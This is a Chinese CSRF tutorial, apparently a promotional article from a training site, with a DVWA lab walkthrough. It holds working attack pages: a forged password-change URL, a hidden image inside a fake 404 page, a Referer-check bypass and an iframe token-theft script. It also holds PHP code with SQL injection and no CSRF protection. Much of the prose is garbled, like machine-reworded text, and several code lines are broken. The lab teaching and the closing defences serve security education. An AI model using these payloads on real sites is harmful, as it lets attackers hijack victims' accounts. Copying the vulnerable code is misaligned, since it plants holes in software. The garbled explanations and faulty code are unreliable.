10分钟浅谈CSRF突破原理，Web安全的第一防线！

CSRF攻击即跨站请求伪造（跨站点请求伪造），是一种对网站的恶意利用，听起来似乎与XSS跨站脚本攻击有点相似，但实际上彼此相差很大，XSS利用的是站点内的信任用户，而CSRF则是通过伪装来自受信任用户的请求来利用受信任的网站。

你可以这么理解CSRF攻击：攻击者盗用了你的身份，以你的名义向第三方网站发送恶意请求。CRSF能做的事情包括利用你的身份发邮件，发短信，进行交易转账等，甚至盗取你的账号。

那么，今天i春秋向小伙伴介绍一下CSRF突破原理的相关内容，希望对大家学习Web安全有所帮助。文章阅读约15分钟，一定要看完哦，文末内容更精彩〜

CSRF攻击原理

当我们打开或登录某个网站后，浏览器与网站所存放的服务器将会产生一个会话，在会话结束前，用户就可以利用其自身的网站权限对网站进行操作，如：发表文章，发送邮件，会话结束后，在进行权限操作，网站就会知道会话超期或重新登录。

当通过登录网站后，浏览器就会和可信的站点建立一个经过认证的会话。所有通过这个经过认证的会话发送请求，都被认为是可信的行为，例如转账，汇款等操作。过长或者自主结束重叠，必须重新建立经过认证的可信安全的会话。

CSRF攻击是建立在会话之上。例如：登录了网上银行，拆分转换账业务，这是攻击者给你发来一个URL，这个URL是攻击者精心构造的有效替代，攻击者精心构造的转账业务代码，而且与你登录的是同一家银行，当你认为这是安全的链接后点击进去，你的钱就没了！

例如想给用户xxser转账1000元，正常的URL是：

secbug.org/pay.jsp?user=xxser&money=1000

而攻击者构造的URL则是：

secbug.org/pay.jsp?user=hack&money=10000

CSRF突破利用

CSRF进攻常常被用来制造蠕虫攻击，SEO流量等。

分析防御代码

获取GET参数用户名和密码，然后通过选择语句查询是否存在对应的用户，如果存在通过$ _SESSION设置一个会话：isadmin = admin，否则设置会话：isadmin = guest

判断会话中的isadmin是否为admin，如果isadmin！= admin说明用户没有登录，那么切换到登录页面，只有在管理员登录后才可以执行用户的操作。

获取POST参数用户名和密码然后插入用户表中，完成添加用户的操作。

<?php

    session_start();
    if (isset($_GET['login'])) {
        $con=mysqli_connect("127.0.0.1","root","123456","test");
        if (mysql_connect_errno()) {
            echo "连接失败".mysql_connect_errno();
        }
        $username = addslashes($_GET['username']);
        $password = $_GET['password'];
        $result = mysqli_query($con , "select * from users where username='".$username."' and password='".md5($password)."'");
        $row = mysqli_fetch_array($result);
        if($row){
            $_SESSION['isadmin'] = 'admin';
            exit("登录成功");
        } else{
            $_SESSION['isadmin'] = 'guest';
            exit("登录失败");
        }
    } else{
        $_SESSION['isadmin'] = 'guest';
    }
    if($_SESSION['isadmin'] != 'admin'){
        exit("请登录……");
    }
    if(isset($_POST['submit'])){
        if (isset($_POST['username'])) {
            $result1 = mysqli_query($con,"insert into users(username , password) value ('".$_POST['username']."','".md5($_POST['password'])."')");
            exit($_POST['username']."添加成功");
        }
    }
?>

这是后台php源码。

攻击者需要做的就是构造一个请求，请求的URL就是php文件的URL，参数是submit = 1＆username = 1＆password = 1，请求有效载荷会自动利用原始码的特性添加一个用户：

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>CSRF漏洞实践</title>
</head>
<body>
    <script type="text/javascript">
        var pauses = new Array("16");
        var methods = new Array("POST");
        var urls = new Array("isadmin.php");
        var params = new Array("submit=1&username=1&password=1");
        function pausecomp(millis){
            var date = new Date();
            var curDate = null ;
            do{
                curDate = new Date();
            }while(curDate-date<millis);
        }
        function run(){
            var count = 1 ;
            var i = 0 ;
            for( i=0 ; i < count ; i ++){
                makeXHR(methods[i],urls[i],params[i])；
                pausecomp(pausecomp[i]);

            }
        }
        var http_request = false ;
        function makeXHR(method , url , paramters){
            http_request = false ;
            if(window.XMLHttpRequest){
                http_request = new XMLHttpRequest() ;
                if(http_request.overrideMinmeType){
                    http_request.overrideMinmeType('text/html');
                }
            } else if(window.ActiveXObject){
                try{
                    http_request = new ActiveXObject("Msxml2.XMLHTTP");
                } catch(e){
                    try{
                        http_request = new ActiveXObject("Microsoft.XMLHTTP");
                    } catch (e){ }
                }
            }
            if(!http_request){
                alert('Cannot create XMLHTTP instance');
                return false;
            }
            if(method == 'GET'){
                if(url.indexOf('?') == -1){
                    url = url + '?' + paramters;
                } else{
                    url = url + '&' + paramters;

                }
                http_request.open(method,url,true);
                http_request.send("");

            } else if(method == 'POST'){
                http_request.open(method,url,true);
                http_request.setRequestHeader("Content-type","application/x-www.form-urlencoded");
                http_request.setRequestHeader("Content-length",paramters.length);
                http_request.setRequestHeader("Connection","close");
                http_request.send(paramters);
            }
        }
    </script>
</body>
</html>

DVWA平台CSRF

没有找到比较好的原始文件，于是找到了DVWA。

low

前端源码

<h3>Change your admin password:</h3>
<br>
<form action="#" method="GET">
New password:<br>
<input autocomplete="off" name="password_new" type="password"><br>
Confirm new password:<br>
<input autocomplete="off" name="password_conf" type="password"><br>
<br>
<input value="Change" name="Change" type="submit">
</form>

前端原始码的非常简单，是一个修改密码的CSRF，表单采用GET方式更改提交。

后端源码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
  // Get input
  $pass_new  = $_GET[ 'password_new' ];
  $pass_conf = $_GET[ 'password_conf' ];

  // Do the passwords match?
  if( $pass_new == $pass_conf ) {
      // They do!
      $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
      $pass_new = md5( $pass_new );

      // Update the database
      $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
      $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

      // Feedback for the user
      echo "<pre>Password Changed.</pre>";
  }
  else {
      // Issue with passwords matching
      echo "<pre>Passwords did not match.</pre>";
  }

  ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

可以看到预期接收数据后会验证两次密码是否重复，然后修改密码。

构造有效Payload

http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#

我们将Payload发送给受害者，受害者处于会话保持（登录状态）中，遭受一旦点击该URL链接，就意味着受害者执行了同样的操作，这个过程就是CSRF。

笔者位于的DVWA使用的登录密码，被替换为“ 123456”。

重点

这里的攻击建立是利用受害者的Cookie向服务器发送伪造请求（Payload），如果用户使用的是一个与xxser.com保持会话登录的浏览器重置有效负载URL，受害者的密码就会发生更改。

现如今，人们的安全意识普遍增高，我们可以采用短链接这种方式来进行优化，例如百度，新浪的短链接替代，以便减少图片内容，密码修改后的页面会有提示。

高明的做法（从一位前辈copy过来的）

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Payload</title>
</head>
<body>
<img src="http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display: none">
<h1>404</h1>
<h2>file not found.</h2>
</body>
</html>

页面的作用是加载一个伪404的页面，实际上可以访问该页面，就会加载图片，所谓加载图片就是加载src属性，而src属性则为Payload-URL，实际的行为就是加载该html页面的同时图片会加载，也就执行了有效负载。

middle

前端源码（添加了http_referer头的验证）

<?php

if( isset( $_GET[ 'Change' ] ) ) {
  // HTTP_REFERER :查询当前页的前一页的地址信息
  // SERVER_NAME  :获取域名
  if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
      // stripos() :查字符第一次出现的位置，
      $pass_new  = $_GET[ 'password_new' ];
      $pass_conf = $_GET[ 'password_conf' ];

      // Do the passwords match?
      if( $pass_new == $pass_conf ) {
          // They do!
          $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
          $pass_new = md5( $pass_new );

          // Update the database
          $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
          $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

          // Feedback for the user
          echo "<pre>Password Changed.</pre>";
      }
      else {
          // Issue with passwords matching
          echo "<pre>Passwords did not match.</pre>";
      }
  }
  else {
      // Didn't come from a trusted source
      echo "<pre>That request didn't look correct.</pre>";
  }

  ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

检查HTTP_REFERER（http数据包的referer参数值）即上一级URL地址信息是否包含由HTTPHTTP数据包中的主机参数值；包含则表示当前页面是从DVWA即上一级URL合法的行为。

合法的http数据包：

GET /DVWA-master/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://127.0.0.1/DVWA-master/vulnerabilities/csrf/
Cookie: security=medium; PHPSESSID=nfafklof4unqinb2b0jvvpl943
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Upgrade-Insecure-Requests: 1

留意第2行，第8行。

分析绕过

但是stripos（）函数写的头验证是可以绕过的〜stripos（）函数是多次匹配；只要包含了目标主机地址就可以可以绕过过strips（）函数写的验证语句

如果我们依旧按照建立一个伪造的攻击页面，stripos（）头验证就会验证，而页面并非来自DVWA，于是深挖stripos（）函数的扩展，发现函数会多次匹配，于是思路就是建立一个假的文件名，通过一个伪造的文件名，绕过stripos（）的验证。

Payload

GET /DVWA-master/vulnerabilities/csrf/?password_new=mirror11&password_conf=mirror11&Change=Change HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://127.0.0.1/127.0.0.1.html
Cookie: security=medium; PHPSESSID=nfafklof4unqinb2b0jvvpl943
X-Forwarded-For: 8.8.8.8
Connection: keep-alive

这里注意：我们将Payload命名为“ 127.0.0.1.html”

high

前端源码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
  // 加入 Anti-CSRF token机制
  checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

  // Get input
  $pass_new  = $_GET[ 'password_new' ];
  $pass_conf = $_GET[ 'password_conf' ];

  // Do the passwords match?
  if( $pass_new == $pass_conf ) {
      // They do!
      $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
      $pass_new = md5( $pass_new );

      // Update the database
      $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
      $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

      // Feedback for the user
      echo "<pre>Password Changed.</pre>";
  }
  else {
      // Issue with passwords matching
      echo "<pre>Passwords did not match.</pre>";
  }

  ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

加入反CSRF令牌机制，用户访问改密页面时，服务器返回令牌，只有用户提交令牌参数才可以进行改密行为。

分析绕过

我们构造有效载荷页面的时候，就需要考虑到执行改密行为必须向服务器发送令牌，而令牌只有在改密页面才可以获得；

根据前辈的思路：利用受害者的cookie去改密页面获取令牌。

<script type="text/javascript">

  function attack()

{

 document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;

document.getElementById("transfer").submit();

}

</script>

<iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">

</iframe>

<body οnlοad="attack()">

<form method="GET" id="transfer" action="http://169.254.36.73/DVWA-master/vulnerabilities/csrf/">

 <input type="hidden" name="password_new" value="password">

  <input type="hidden" name="password_conf" value="password">

 <input type="hidden" name="user_token" value="">

<input type="hidden" name="Change" value="Change">

 </form>

</body>

攻击提示是当受害者点击进入该页面，脚本会通过一个看不见框架偷偷访问修改密码的页面，获取页面中的令牌，并向服务器发送改密请求，以完成CSRF攻击。

然而理想与现实的差异是巨大的，这里牵扯到了跨域问题，而现在的浏览器是分离跨域请求的。这里简单解释下跨域，我们的框架iframe访问的地址是http：//169.254。 36.73 / DVWA主站/漏洞/ csrf /，位于服务器169.254.36.73上，而我们的攻击页面位于黑客服务器上，其中的域名不同，域名B下的所有页面都主动获取域名A下的页面内容，除非域名A下的页面主动发送信息给域名B的页面，所以我们的攻击脚本是不可能取到改密界面中的user_token。

由于跨域是不能实现的，所以我们将攻击代码注入到目标服务器169.254.36.73中，才有可能完成攻击。下面利用高级XSS入侵协助赢得Anti-CSRF令牌（因为这里的XSS注入有长度限制，不能够注入完整的攻击脚本，所以只获取Anti-CSRF token）

这里的名称存在XSS突破，于是抓包，改参数，成功删除令牌链接。

通过DVWA平台的CSRF实例，简单的总结了CSRF的特性和应对措施：

CSRF应对措施

从DVWA的测试中总结：在不可能的等级的原始代码中，利用了PDO技术防御SQL注入，CSRF方面则要求用户原始密码；攻击者在不知道原始密码的情况下是无法进行CSRF的！

CSRF防御手段

使用POST，限制GET

GET方式最容易受到CSRF攻击，只要简单的构造有效剂量就可能导致CSRF；使用POST可以大程度的减低CSRF显示率

浏览器Cookie策略

老浏览器会拦截第三方本地Cookie的发送，而新浏览器则不会拦截发送；

添加验证码

简单粗暴还有效；可以大程度的增加人机交互的过程，避免用户被悄悄的偷袭

推荐人检查

检查请求是否来自于合法的源

反CSRF令牌

令牌的值必须是随机的，不可预测的。由于令牌的存在，攻击者无法再构造一个带有合法令牌的请求实施CSRF攻击。另外使用令牌时应注意其保密性，尽量把敏感的操作由GET改写POST，以表格或AJAX形式提交，避免令牌替换。

总结

CSRF攻击是攻击者利用用户的身份操作用户帐户的一种攻击方式，通常使用反CSRF令牌来防御CSRF攻击，同时要注意令牌的保密性和随机性。

实际上是网络安全除CSRF之外，还包括SQL注入，XSS等众多知识点，繁杂且不成体系，若要深入学习Web安全攻防内容，一定要从基础抓起：https://www.ichunqiu.com/train/course/11?form=weixin

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